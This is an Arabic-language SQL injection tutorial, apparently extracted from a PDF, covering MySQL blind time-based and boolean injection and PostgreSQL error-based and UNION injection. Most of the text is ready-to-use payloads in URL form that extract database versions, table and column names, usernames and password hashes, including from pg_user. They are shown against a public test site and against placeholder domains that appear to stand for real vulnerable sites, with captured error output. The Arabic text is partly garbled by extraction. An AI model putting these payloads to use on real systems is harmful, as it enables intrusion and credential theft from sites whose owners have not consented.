‫متغير الجديد مع البقاء على الستعلم كما هو ‪:‬‬ ‫الول بال م‬

‫‪www.InjectorBoy.GHT/mixers.php?id=.64' union select‬‬


‫‪1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -‬‬

‫تمت عملية الحقن بثلثة رمطلقة‬

‫نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂‬ ‫▂ ▃ ▄ ▅ ▆ ▇ █‬
‫� الفصل السابع ‪ :‬الحقن الرمتكامل �‬

‫الحقن الرمتكامل | ‪| Mysql Blind Injection‬‬

‫الحقن العمى ‪ :‬هو الحقن رمستخدمين عمليات التخمين و رمراقبة ردات الفعل الخاصة بالسيرفر إما عن طريق المسئلة المنطقية‬
‫‪ True‬و ‪ false‬الناتج عنها ظهور أخطأ نصية بالصفح أو عدم ظهورها أو رمستخدمين عامل الوقت فيما ريسمي بالـ ‪TIME‬‬
‫‪ BASED INJECTION‬لتأركد من صحة ما قمنا بتخمينه ‪.‬‬

‫لذا سوف أجمع ركل ذلك أي ك رل ل من الحقن المنطقي والحقن الزمني في حقن واحد وسوف رأسمية الحقن الرمتكامل ‪.‬‬

‫رمميزات الحقن الرمتكامل‬

‫ث إننا إعتمدنا على‬


‫‪ -1‬إنهاء مسئلة تخمين الجداول والعمدة اليدوية بإستخدام ‪ List‬رمتضمن الكلمات الخاصة بالتخمين حي ر‬
‫الحقن الزمني لستخراجها حرفا ل حرفا ل ‪.‬‬

‫خص عدم التوصل إلى‬


‫ث لتوجد صعوبات ت ر‬
‫‪ -2‬أصبح الحقن بهذه المسئلة فقط مسئلة وقت لغير للنتهاء من كامل العملية حي ر‬
‫بيانات جدول أو عمود ما بسبب التخمين على الكلمات ‪.‬‬
‫الحقن الرمتكامل | ‪| Mysql Blind Injection‬‬

‫معظم المطورين‪/‬المبرمجين يعرفون أن القيم ‪ 1‬و ‪ 0‬ليس فقط يمكن استخدامرهما كأعداد صحيحة ‪ ،‬إنما أيضا ل كـ قيم منطقية‬
‫)صحيحة أو خاطئة( ‪ ,‬فالرقم واحد يعود دائما ل بقيمة صحيحة والرقم صفر يعود دائما ل بقيمة خاطئة ‪ ,‬لذا يمكن تطويع هذا المبدأ‬
‫العام للقيمام بعمليات حقن تعتمد على ردات الفعل بالهيئة المنطقية ‪.‬‬

‫مثال عملي ‪ :‬عملية حث الصفحة على عدم الستجابة للتصال الرمباشر للرمضيف المحلي وإختبار ردات الفعل الزمني ضمن‬
‫المبدأ العام الذي تكلمنا عنره أنفا ل ‪.‬‬

‫القيمة الستعلمية التالية سوف تعمل على حث الصفحة على عدم الستجابة للتصال الرمباشر للرمضيف المحلي والقيام‬
‫بتحميل فراغي ]التحميل الزمني للصفحة[ لرمدة خمس ثواني وذلك شريطة أن تكون القيمتان الرقميتين واحد رتساوي بعضرهما‬
‫البعض ‪.‬‬

‫)))‪AND (SELECT 1=(SELECT IF(1=1,SLEEP(5),NULL‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1=(SELECT IF(1=1,SLEEP(5),NULL))) -- -‬‬

‫ث أن القيمة الرقمية صحيحة‬ ‫بالمثال أعله فبدل ل من التصال الفوري الرمباشر للصفحة بالمضيف المحلي ‪ , localhost‬وحي ر‬
‫] إذا القيمة ‪ 1‬رتساوي القيمة ‪ [ 1‬الصفحة لم تستجيب نتيجة ذلك ولمدة ‪ 5‬ثوان أخرى قامت بالتحميل الفراغي ‪ ,‬الن وبعد‬
‫نجاح الختبار السابق الخاص بإستخدام الوقت كـ مؤشر لصحة الشرط من عدمه ‪ ,‬سوف ننتقل الن إلى تقنية الحقن الرمتكامل‬
‫‪.‬‬
‫☆*•‪ ☆¸.‬أول ل ‪ :‬إختبار إصدار قاعدة البيانات ☆¸‪☆*•.‬‬

‫الستعلم الخاص ال رمستخدم لستكشاف إصدار قاعدة البيانات ذلك يعتمد على ردات الفعل الزمنية وهو كالتالي ‪-‬‬

‫‪AND (SELECT 1=(SELECT IF((SELECT SUBSTRING(version(),1,1))=4,SLEEP(5),NULL)))-- -‬‬

‫ث الـ ‪ ()version‬إصدار قاعدة البيانات ريساوي القيمة الرقمية سواء أربعة أو خمسة سوف يعمل الستعلم للقيام بتحميل‬
‫حي ر‬
‫فراغي للصفحة ل رمدة خمس ثواني كاملة في حال كان الصدار الرابع لقاعدة البيانات وخلف ذلك تكون القيمة ‪ NULL‬بمعني‬
‫عدم القيام بشئ ‪.‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1=(SELECT IF((SELECT‬‬


‫‪SUBSTRING(version(),1,1))=4,SLEEP(5),NULL)))-- -‬‬

‫بالمثال السابق لم يحردث شئ دليل على أن إصدار قاعدة البيانات ليس بالصدار الرابع ‪-‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1=(SELECT IF((SELECT‬‬


‫‪SUBSTRING(version(),1,1))=5,SLEEP(5),NULL)))-- -‬‬
‫بالمثال السابق بإعتماد القيمة الرقمية خمسة لختبار الصدار الخامس من قاعدة البيانات قامت الصفحة بالتحميل الفراغي‬
‫لمدة خمسة ثواني كاملة مما دل على ذلك أي الصدار هو الصدار الخامس لذا لنتقل إلى المرحلة التالية وهي إستخراج‬
‫الجداول ‪-‬‬

‫☆*•‪ ☆¸.‬ثانيا ل ‪ :‬الكشف عن الجداول ☆¸‪☆*•.‬‬

‫جملة الجدول كامل ل بل الحروف‬


‫سوف نستكشف الن الجدول بإستخدام الـ ‪ Time Based Injection‬ورهنا سوف نختبر ليس ر‬
‫الخاصة بها حرفا ل حرفا ل لذا لنبدأ ذلك بالحرف الول منه ‪-‬‬

‫ملحوظة ‪ :‬الستعلم ‪ ()SUBSTRING‬هو المسؤل عن إستخراج البيانات حرف حرف ‪.‬‬

‫الستعلم الخاص بإختبار أحروف ‪ table_name‬التالي ‪:‬‬

‫‪AND (SELECT 1=(SELECT IF((SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE‬‬


‫‪table_schema=database() LIMIT 0,1)="u",SLEEP(5),NULL)))-- -‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1=(SELECT IF((SELECT‬‬


‫‪SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT‬‬
‫‪1,1)="u",SLEEP(5),NULL)))-- -‬‬

‫كما رنلحظ من المثال السابق قامت الصفحة بالتحميل الفراغي لمدة خمسة ثواني كاملة مما دل على أن الحرف الول من الـ‬
‫‪ table_name‬هو الحرف ‪ u‬لذا لنستكشف الحرف التالي ‪:‬‬
‫ لرنخبر السيرفر أننا نستكشف الحرف التالي من‬LIMIT 1,1 ‫ إلى القيمة التالية‬LIMIT 0,1 ‫ علينا تغير قيمة الـ‬: ‫رملحظة‬
. table_name ‫الكلمة أو الـ‬

testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1=(SELECT IF((SELECT


SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT
1,1)="us",SLEEP(5),NULL)))-- -

‫ لنتقل الن للمرحلة التالية وهي إستخراج‬users ‫ الجدول الرمستخرج هو الـ‬, ‫وهكذا على هذا المنوال تباعا ل حتى أخر حرف‬
. ‫أعمدة الجدول‬

☆*•.¸☆ ‫ الكشف عن أعمدة الجدول‬: ‫¸☆ ثالثا ل‬.•*☆

: ‫ لكن وكما قولنا سابقا ل سيكون ذلك حرفا ل حرفا ل على النحو التالي‬users ‫لنستكشف الن العمود الرمرتبط بالجدول‬

testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1=(SELECT IF((SELECT


SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name="users" LIMIT
1,1)="p",SLEEP(5),NULL)))-- -
‫ث أنها قامت بالتحميل الفراغي لمدة خمس ثواني كاملة مما دل على أن الحرف الول من‬ ‫الصفحة رترجع لنا القيمة ‪ True‬حي ر‬
‫العمود الرمرتبط بالجدول ‪ users‬هو الحرف ‪ , p‬وبالقيام بنفس الخطوات كما قمنا بها سابقا ل فالعمود الول هو الـ ‪ pass‬والعمود‬
‫الثاني هو ‪ uname‬الن لنتقل إلى الخطوة التالية وهي إستخراج البيانات الخاصة بالعمدة ‪.‬‬

‫☆*•‪ ☆¸.‬رابعا ل ‪ :‬إستخراج البيانات الخاصة بالعمدة ☆¸‪☆*•.‬‬

‫في المرحلة الرابع سوف نعتمد على مبدأ الصواب والخطأ بردات الفعل و سوف نتعلم أيضا ل كيفية إستخدام الـ ‪ ascii code‬لتخمين‬
‫الحروف الخاصة بالكلمات الرمستهدفة لذا تجدون الرقام الخاصة بالـ ‪ ascii code‬الرمستخدمة بذلك الموقع أدناه أو بالجدول التالي لره ‪.‬‬

‫‪http://www.ascii-code.com/‬‬

‫☆╚╦◘• ‪☆╦╚◘• ASCII Table‬‬

‫‪DEC‬‬ ‫‪Symbol‬‬ ‫‪Description‬‬


‫‪32‬‬ ‫‪Space‬‬
‫‪33‬‬ ‫!‬ ‫‪Exclamation mark‬‬
‫‪Double quotes (or speech‬‬
‫‪34‬‬ ‫"‬
‫)‪marks‬‬
‫‪35‬‬ ‫‪#‬‬ ‫‪Number‬‬
‫‪36‬‬ ‫‪$‬‬ ‫‪Dollar‬‬
‫‪37‬‬ ‫‪%‬‬ ‫‪Procenttecken‬‬
‫‪38‬‬ ‫&‬ ‫‪Ampersand‬‬
‫‪39‬‬ ‫'‬ ‫‪Single quote‬‬
‫‪Open parenthesis (or open‬‬
‫‪40‬‬ ‫)‬
‫)‪bracket‬‬
‫‪Close parenthesis (or close‬‬
‫‪41‬‬ ‫(‬
‫)‪bracket‬‬
‫‪42‬‬ ‫*‬ ‫‪Asterisk‬‬
‫‪43‬‬ ‫‪+‬‬ ‫‪Plus‬‬
‫‪44‬‬ ‫‪,‬‬ ‫‪Comma‬‬
‫‪45‬‬ ‫‪-‬‬ ‫‪Hyphen‬‬
‫‪46‬‬ ‫‪.‬‬ ‫‪Period, dot or full stop‬‬
‫‪47‬‬ ‫‪/‬‬ ‫‪Slash or divide‬‬
‫‪48‬‬ ‫‪0‬‬ ‫‪Zero‬‬
‫‪49‬‬ ‫‪1‬‬ ‫‪One‬‬
‫‪50‬‬ ‫‪2‬‬ ‫‪Two‬‬
‫‪51‬‬ ‫‪3‬‬ ‫‪Three‬‬
‫‪52‬‬ ‫‪4‬‬ ‫‪Four‬‬
‫‪53‬‬ ‫‪5‬‬ ‫‪Five‬‬
‫‪54‬‬ ‫‪6‬‬ ‫‪Six‬‬
‫‪55‬‬ ‫‪7‬‬ ‫‪Seven‬‬
56 8 Eight
57 9 Nine
58 : Colon
59 ; Semicolon
Less than (or open angled
60 >
bracket)
61 = Equals
Greater than (or close angled
62 <
bracket)
63 ? Question mark
64 @ At symbol
65 A Uppercase A
66 B Uppercase B
67 C Uppercase C
68 D Uppercase D
69 E Uppercase E
70 F Uppercase F
71 G Uppercase G
72 H Uppercase H
73 I Uppercase I
74 J Uppercase J
75 K Uppercase K
76 L Uppercase L
77 M Uppercase M
78 N Uppercase N
79 O Uppercase O
80 P Uppercase P
81 Q Uppercase Q
82 R Uppercase R
83 S Uppercase S
84 T Uppercase T
85 U Uppercase U
86 V Uppercase V
87 W Uppercase W
88 X Uppercase X
89 Y Uppercase Y
90 Z Uppercase Z
91 ] Opening bracket
92 \ Backslash
93 [ Closing bracket
94 ^ Caret - circumflex
95 _ Underscore
96 ` Grave accent
97 a Lowercase a
98 b Lowercase b
99 c Lowercase c
100 d Lowercase d
101 e Lowercase e
102 f Lowercase f
103 g Lowercase g
104 h Lowercase h
105 i Lowercase i
106 j Lowercase j
107 k Lowercase k
108 l Lowercase l
109 m Lowercase m
110 n Lowercase n
111 o Lowercase o
112 p Lowercase p
113 q Lowercase q
114 r Lowercase r
115 s Lowercase s
116 t Lowercase t
117 u Lowercase u
118 v Lowercase v
119 w Lowercase w
120 x Lowercase x
121 y Lowercase y
122 z Lowercase z
123 } Opening brace
124 | Vertical bar
125 { Closing brace
126 ~ Equivalency sign - tilde
127 Delete
‫الستعلمات الرمستخدمة للقيام بذلك‬

[1] and ascii(substring((SELECT concat(column) from table ),1,1))>97 -- -

[2] and ascii(substring((SELECT concat(column1,0x3a,column2) from table ),1,1))>97 -- -

. ‫ لنعمل على الحروف السمول أو الصغيرة دائما ل‬: ‫ملحوظة‬

‫ ثم نتقل للذي بعدهر ورنقارن ربنامء على‬97 ‫ الذى يساوي القيمة الرقمية‬a ‫ولنبدأ بالحرف البجدي الول بالجدول وهو حرف الـ‬
. ‫الملحوظة التية‬

testphp.vulnweb.com/listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),1,1))>97 -- -

. ‫ رثم لشئ يتغير حتى القيمة التالية‬True ‫الصفحة رتعطي قيمة‬

. True ‫ والرقم الذي قبلرة ريعطي القيمة‬False ‫ دائما ل الحرف الصحيح هو الحرف الذي ريعطي القيمة‬: ‫ملحوظة‬

listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),1,1))>116 -- - False

listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),1,1))>115 -- - True


‫ الصفحة اعطتنا قيمة فارغة بتحول الصفحة إلى‬116 ‫ والتي تساوي‬t ‫كما لحظنا تحقق الشرط فعند القيمة العددية للحرف‬
‫ أعطتنا الصفحة قيمة إيجابية وتحولت الصفحة إلي صفحة سليمة رممتلئة‬115 ‫صفحة بيضاء فارغة وعند الرقم الذي قبلها الرقم‬
. ‫بالبيانات‬

.... ‫وهكذا على هذا المنوال‬

‫ إلى الرقم التالي حتي يعلم السيرفر إننا نبحث عن الحرف صاحب‬users ‫ يجب تغير القيمة العددية مابعد الجدول‬: ‫ملحوظة‬
. ‫الترتيب الثاني أي الرقم إثنين من الكلمة‬

and ascii(substring((SELECT concat(uname) from users ), 2,1))>97 -- -


e = ‫الحرف‬
[1] listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),2,1))>101 -- - ‫خطأ‬

[2] listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),2,1))>100 -- - ‫ل يوجد خطأ‬

s = ‫الحرف‬

[1] listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),3,1))>115 -- - ‫خطأ‬

[2] listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),3,1))>114 -- - ‫ل يوجد خطأ‬

t = ‫الحرف‬

[1] listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),4,1))>116 -- - ‫خطأ‬

[2] listproducts.php?cat=1 and ascii(substring((SELECT concat(uname) from users ),4,1))>115 -- - ‫ل يوجد خطأ‬

‫ وهي أيضا ل‬pass ‫ وبنفس الهيئة السابقة علرفنا القيمة الخاصة بالعمود‬test ‫ وهي الـ‬uname ‫وهكذا علرفنا القيمة الخاصة بالعمود‬
. test

: ‫الن لنختبر صحة الناتج النهائي بإستخدام الستعلم التالي‬

AND (SELECT 1=(SELECT IF((SELECT CONCAT(column) FROM table LIMIT 0,1)="Test",SLEEP(5),NULL)))--

testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1=(SELECT IF((SELECT CONCAT(pass) FROM users


LIMIT 0,1)="test",SLEEP(5),NULL)))-- -
‫نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂‬ ‫▂ ▃ ▄ ▅ ▆ ▇ █‬
‫� الفصل الثامن ‪ :‬حقن قواعد بوستجري إس كيو إل �‬

‫☆*•‪ ☆¸.‬الدمحتويات ☆¸‪☆*•.‬‬

‫‪ - 1‬حقن قواعد بوستجري إس كيو إل ‪ PostgreSQL‬التقنيات الجديدة | جديد | ‪.‬‬

‫‪ - 2‬الحقن بإستخدام الـ ‪ CURRVAL‬والـ ‪ NEXTVAL‬في قواعد بيانات الـ ‪ | PostgreSQL‬جديد | ‪.‬‬

‫]‪ - [ 3‬حقن قواعد ‪ PostgreSql‬العمى | جديد | ‪.‬‬


‫]‪ ☆¸.•*☆ - [ 1‬حقن قواعد بوستجري إس كيو إل ‪ PostgreSQL‬التقنيات الجديدة | جديد | ☆¸‪☆*•.‬‬

‫بوستجرس ‪ :‬هو نظام إدارة قواعد البيانات علئقي يعتمد التعامل معه على لغة إس كيو إل وقد تم إصدارها بموجب ترخيص معهد‬
‫ماساتشوستس للتكنولوجيا وبالتالي فهو يعتبر من البرمجيات مفتوحة المصدر ‪ ,‬كما هو الحال مع العديد من البرامج المفتوحة المصدر ل‬
‫تخضع لسيطرة بوستجرس من قبل أي شركة واحدة ‪ ,‬لذا سوف ندرس بهذا الباب تقنيات حقن قواعد ‪ PostgreSQL‬ورمعالجة الخطاء‬
‫كن معروفة من قبل ‪.‬‬ ‫الغير إعتيادية بهذه القاعدة ومعرفة تقنيات لم ت ر‬

‫•◘╚╦☆ التقنيات الرمتعلمة من هذا الفصل ☆╚╦◘•‬

‫‪ -1‬تعرلم الستعلمات الرمستخدمة بقواعد الـ ‪. PostgreSQL‬‬


‫‪ -2‬معرفة رطرق إكتشاف قاعدة الـ ‪ PostgreSQL‬من الخطأ الناتج ‪.‬‬

‫‪ -3‬معرفة رأسلوب الحقن داخل الـ )( ‪.‬‬

‫‪ -4‬معرفة تخطي الخطأ ‪. 'union select 1', '2', '3‬‬

‫‪ -5‬تعرلم إنشاء ‪. perfect varchar columns‬‬


‫‪ -6‬معرفة إستعلمات إستخراج البيانات النهائية ‪.‬‬
▂▃▄▅▆▇█ PostgreSQL ‫الستعلمات الرمستخدمة بقواعد الـ‬ █▇▆▅▄▃▂

- ‫لنستعرض أول ل الستعلمات الخاصة الرمستخدمة لحقن قواعد بوستجري لنكون رملللمين بها في مشوار الحتراف الطويل‬

☆*•.¸☆ ‫ إستعلمات الكشف عن إصدار قاعدة البيانات‬: ‫¸☆ أول ل‬.•*☆

;select+version()::int--

+and+1=(select+version())::int--

SubQ :

+and+1=cast((select+version())+as+int)--

current_database()

;select+current_database()::int--

+and+1=(select+current_database())::int--

SubQ :

+and+1=cast((select+current_database())+as+int)--

User :

current_user

session_user

getpgusername()

usename+from+pg_user

;select+getpgusername()::int--

+and+1=(select+getpgusername())::int--

SubQ :

+and+1=cast((select+getpgusername())+as+int)--

;select+(version()||chr(58)||current_user||chr(58)||current_database())::int--

+and+1=(select+version()||chr(58)||current_user||chr(58)||current_database())::int--

SubQ :

+and+1=cast((SELECT+version()||chr(58)||current_user||chr(58)||current_database())+as+int)--
☆*•.¸☆ ‫ إستعلمات إستخراج الجداول‬: ‫¸☆ ثانيا ل‬.•*☆

+and+1=(select+table_name+from+information_schema.tables+limit+1+offset+1)::int--

version:8.4.x :

+and+1=(select+array_to_string(array_agg(table_name::text),$$/$$)+from+information_schema.tables)::int--

all version :

+and+1=(select array_to_string(array(select table_name::text from information_schema.tables where table_schema not


in ($$information_schema$$,$$pg_catalog$$)),$$:$$)::int)--

+and+1=cast((select+table_name+from information_schema.tables+limit+1+offset+1)+as+int)--

version:8.4.x :

+and+1=cast((select+array_to_string(array_agg(table_name::text),$$:$$)+from
information_schema.tables+where+table_schema not in ($$information_Schema$$,$$pg_catalog$$))+as+int)--

all version :

+and+1=cast((select array_to_string(array(select table_name::text from information_schema.tables where


table_schema not in ($$information_schema$$,$$pg_catalog$$)),$$:$$)::int)+as+int)--

all version :

;select array_to_string(array(select table_name::text from information_schema.tables where table_schema not in ($


$information_schema$$,$$pg_catalog$$)),$$:$$)::int--

☆*•.¸☆ ‫ إستعلمات إستخراج العمدة‬: ‫¸☆ ثالثا ل‬.•*☆

all version :

;select array_to_string(array(select column_name::text from information_schema.columns where table_name=$


$current table name SQL Encode"Oracle"$$),$$/$$)::int--

+and+1=(select array_to_string(array(select column_name::text from information_schema.columns where


table_name+$current table name SQL Encode"Oracle"$),$$/$$)::int)--

+and+1=cast((select array_to_string(array(select column_name::text from information_schema.columns where


table_name=$currnet table name SQL Encode"Oracle"$)),$$/$$)::int)+as+int)

version:8.4.x :

+and+1=(select array_to_string(array_agg(column_name::text),$$/$$) from information_schema.columns where


table_name=$current table name SQL Encode"Oracle"$)::int--

and+1=cast((select+array_to_string(array_agg(column_name::text),$$:$$)+from
information_schema.columns+where+table_name=$current_table_name SQL Encode"Oracle"$))+as+int)--
‫| التطبيق العملي للمسئلة لكشف الخبايا والسرار الجديدة |‬

‫☆*•‪ ☆¸.‬أول ل ‪ :‬الكشف عن الثغرة و معرفة نوع قاعدة البيانات ☆¸‪☆*•.‬‬

‫‪www.InjectorBoy.md/news.php?id=Servizi‬‬

‫'‪www.InjectorBoy.md/news.php?id=Servizi‬‬
. ‫الموقع رمصاب كما تبين من الخطأ الناتج والرمقارنة بين الصفحتين لكن لرنلحظ الخطأ الناتج جيدا ل‬

Could not successfully run query (select * from muoversi.categoria, muoversi.servizi where categoria.idservizi=servizi.idservizi and
servizio in('Servizi'') order by servizio , nrinelenco) from DB: ERROR: unterminated quoted string at or near "'Servizi'') order by
servizio , nrinelenco" at character 112

. ‫ث الخطأ التالية رتعبر عن هذه القاعدة‬


‫ حي ر‬, ‫ وعرفت ذلك من بصمة الخطأ‬PostgreSQL ‫من الخطأ يتبين أن قاعدة البيانات هي الـ‬

1- ERROR: unterminated quoted string at or near


2- PostgreSQL.*ERROR"
3- Warning.*\Wpg_.*"
4- valid PostgreSQL result"
5- Npgsql\."
6- org\.postgresql\.util\.PSQLException"
7- Warning: pg_query()

. ‫لذا وكما رنلحظ الخطأ رقم واحد منرهم أي الخطاء هو الخطأ الناتج بالصفحة لذا إستنتجت ذلك منه‬
‫ توجد رملحظة رأخرى بالخطأ وهي وجود أقوس رمتعددة والتي تعني أن الحقن داخل الـ )( لذا سوف يكون الستعلم التالي‬: ‫رملحظة‬
. ‫كلي للعمدة‬
‫رمستخدما ل لمعرفة العدد ال ر‬

www.InjectorBoy.md/news.php?id=Servizi') order by 9-- -

www.InjectorBoy.md/news.php?id=Servizi') order by 8-- -


‫كلي للعمدة هو ثمانية أعمدة والستغلل الكامل لرهم سوف يكون على هذا النحو ‪-‬‬
‫العدد ال ر‬

‫‪www.InjectorBoy.md/news.php?id=Servizi') union select 1,2,3,4,5,6,7,8-- -‬‬

‫‪Could not successfully run query (select * from muoversi.categoria, muoversi.servizi where‬‬
‫‪categoria.idservizi=servizi.idservizi and servizio in('Servizi') union select 1', '2', '3', '4', '5', '6', '7', '8-- -') order by‬‬
‫‪servizio , nrinelenco) from DB: ERROR: syntax error at or near "', '" at character 137‬‬

‫حدث خطأ ل مرلةر رأخرى بالصفحة ولرنلحظ أن بداخل هذا الخطأ تعددة إشارة الكومة رتغللق على الرقام ال ر‬
‫كلية للعمدة لذا لتخطي ذلك‬
‫الخطأ أينما يظهر لنا في أي موقع أخر لحقا ل سوف يكون بإضافة إشارة كومة قبل وبعد عدد العمدة الثمانية أي إغلق كامل وذلك لعمل‬
‫‪ perfect varchar columns‬وذلك على النحو التالي‬

‫'‬
‫‪www.InjectorBoy.md/news.php?id=Servizi') union select 1,2,3,4,5,6,7,8 -- -‬‬ ‫'‬

‫ظهر العمود رقم ثلث بالصفحة مما دل على إنة هو العمود الرمصاب من مجموع العمدة ال ر‬
‫كلية ‪.‬‬
‫لنختبر بالستعلم ‪ ()version‬إصدار قاعدة البيانات ‪.‬‬

‫‪www.InjectorBoy.md/news.php?id=Servizi') union select '1,2,version(),4,5,6,7,8'-- -‬‬

‫رنلحظ بالصفحة أن الستعلم ‪ ()version‬لم تظهر قيمرة المطلوبة لكن ظهرت عين الكلمة بالعمود الرمصاب بسبب الرمشكلة السابقة الـ‬
‫كلي للعمدة فعلية أي شئ سيتم كتابة بالتعويض داخل العمود‬ ‫'‪ ',‬ولننا عالجنا تلك الرمشكلة بوضع إشارتى تنصيص قبل وبعد العدد ال ر‬
‫الرمصاب رقم ثلثة سيتم رمعالجتره على إنره نص لذا لتفادي ذلك المر علينا إيجاد حل لغلق الـ ‪ string‬وإداخل البيانات ‪ ,‬أقول يمكننا‬
‫عمل ‪ concat‬للعمود رقم ثلثة بإستخدام الـ ‪ || The Vertical Bar‬بقواعد البيانات ‪ postgresql‬كالتالي‬

‫‪www.InjectorBoy.md/news.php?id=Servizi') union select '1,2,' || version() || ',4,5,6,7,8'-- -‬‬


‫إصدار قاعدة البيانات هو الصدار الثامن‬

PostgreSQL 8.4.22 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-54), 32-bit

‫أخيرا ل لستخراج البيانات النهائية سوف نستخدم هذين االستعلمين‬

www.InjectorBoy.md/news.php?id=Servizi') union select '1,2,' || usename || ',4,5,6,7,8'+from+pg_user-- -


www.InjectorBoy.md/news.php?id=Servizi') union select '1,2,' || passwd || ',4,5,6,7,8'+from+pg_user-- -
‫]‪ � - [ 2‬الحقن بإستخدام الـ ‪ CURRVAL‬والـ ‪ NEXTVAL‬في قواعد بيانات ‪ | PostgreSQL‬جديد | �‬

‫☆*•‪ ☆¸.‬رمقدمة عن ‪ CURRVAL‬و الـ ‪☆*•.¸☆ NEXTVAL‬‬

‫بقواعد البيانات تسلسل رمخطط الـ ‪ schema‬يلور للد قيما ل رمتسلسلة فريدة من نوعها وغالبا ل ماتستخلدم هذه القيم مفاتيح أساسية فريدة من‬
‫نوعها أيضا ل ‪ ,‬لذا يمكن الرجوع إلى هذه القيم الرمتسلسلة في عبارات الـ ‪ SQL‬مع هذه العمدة الزائفة بإستخدام ‪ CURRVAL‬و‬
‫‪. NEXTVAL‬‬

‫فالـ ‪ : CURRVAL‬رترلجع القيم الحالية للتسلرسل ‪.‬‬

‫والـ ‪ : NEXTVAL‬للزيادة فى التسلرسل وإرجاع القيم التالية ‪.‬‬

‫لذا فالـ ‪ CURRVAL‬والـ ‪ NEXTVAL‬يجب أن تكونا ذات أهلية بمعنى أنها تحمل السم التسلرسلي كالتالي ‪...‬‬

‫‪sequence.CURRVAL‬‬
‫‪sequence.NEXTVAL‬‬

‫وللشارة إلى القيمة الحالية أو القادمة من التسلرسل في الرمخطط ‪ schema‬لرمستخدم أخر بإستخدام ‪ CURRVAL‬و ‪NEXTVAL‬‬
‫يجب أن تكونا رملنحتا إمتياز الكائن سيليكت ] ‪ [ SELECT object privilege‬في هذا التسلرسل لذا يجب أن تكون ذات تسلرسل مع‬
‫مخطط ‪ schema‬كالتالي ‪...‬‬

‫‪schema.sequence.CURRVAL‬‬
‫‪schema.sequence.NEXTVAL‬‬

‫وللشارة إلى قيمة التسلسل بقاعدة البيانات عن بعد ‪ ، remote database‬يجب تألهل التسلسل مع السم الكامل أو الجزئي للرتباط‬
‫بقاعدة البيانات كالتالي ‪...‬‬

‫‪schema.sequence.CURRVAL@dblink‬‬
‫‪schema.sequence.NEXTVAL@dblink‬‬
‫☆*•‪ ☆¸.‬قائمة إستخدم القيم الرمتسلسلة ‪☆*•.¸☆ Sequence Values‬‬

‫‪ -1‬قائمة الـ ‪ SELECT‬من عبارة ‪ SELECT‬التي لم رتحتوي في ‪ subquery‬أو ‪ materialized view‬أو ‪. view‬‬

‫‪ -2‬قائمة ‪ SELECT‬من الستعلم الفرعي ‪ subquery‬في عبارة ‪. INSERT‬‬

‫‪ -3‬شرط القيم ‪ VALUES‬في عبارة ‪. INSERT‬‬

‫‪ -4‬شرط ‪ SET‬في عبارة ‪. UPDATE‬‬

‫☆¸‪☆*•.‬‬ ‫القيود‪ :‬ل يمكنك استخدام ‪ CURRVAL‬و ‪NEXTVAL‬‬ ‫☆*•‪☆¸.‬‬

‫‪ -1‬الـ ‪ subquery‬في ‪ DELETE‬أو ‪ SELECT‬أو إستعلم ‪. UPDATE‬‬

‫‪ -2‬إستعلم ‪ A query of a view‬أو ‪. materialized view‬‬

‫‪ -3‬في إستعلم ‪ SELECT‬مع المشغل ‪. DISTINCT‬‬

‫‪ -4‬في إستعلم ‪ SELECT‬مع ‪ GROUP BY clause‬أو ‪. ORDER BY clause‬‬

‫‪ -5‬في إستعلم ‪ SELECT‬التي يتم دمجها مع ‪ UNION‬و ‪ INTERSECT‬أو ‪. MINUS set operator‬‬

‫‪ -6‬جملة ‪ WHERE‬من عبارة ‪. SELECT‬‬

‫‪ -7‬القيمة الفتراضية ‪ DEFAULT value‬لعمود في بيان ‪ CREATE TABLE‬أو ‪. ALTER TABLE statement‬‬

‫☆*•‪ ☆¸.‬شروط التحقق من إستخدام القيد ☆¸‪☆*•.‬‬

‫في ‪ single SQL statement‬الذي تستخلدم الـ ‪ CURVAL‬أو ‪ NEXTVAL‬في كافة العمدة الطويلة ‪LONG columns‬‬
‫والجداول المحدثة المشار إليها ‪ ، updated tables‬والجداول المؤمنة ‪ locked tables‬يجب أن تكون موجودة في نفس قاعدة‬
‫البيانات ‪.‬‬
☆*•.¸☆ NEXTVAL ‫ و‬CURRVAL ‫التطبيق العملي للقيم‬ ☆¸.•*☆

| ‫| الموقع الهدف‬

www.InjectorBoy.com/article.php?id=1533'

| ‫| الخطأ الناتج‬

Warning: pg_query(): Query failed: ERROR: syntax error at or near "\" at character 868 in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551

. PostgreSQL DataBase ‫ إذا إنها‬PostgreSQL ‫ تعني‬pg ‫الـ‬

‫ معرفة إصدار قاعدة البيانات‬: ‫أول ل‬

‫الستعلم الرمستخدم لذلك‬

and 1=CAST(current_user||CHR(58)||current_database()||CHR(58)||version()||CHR(58)||123 as int)

www.InjectorBoy.com/article.php?id=1533+and 1=CAST(current_user||CHR(58)||current_database()||CHR(58)||
version()||CHR(58)||123 as int)

Warning: pg_query(): Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 8.0.1 on i386-portbld-
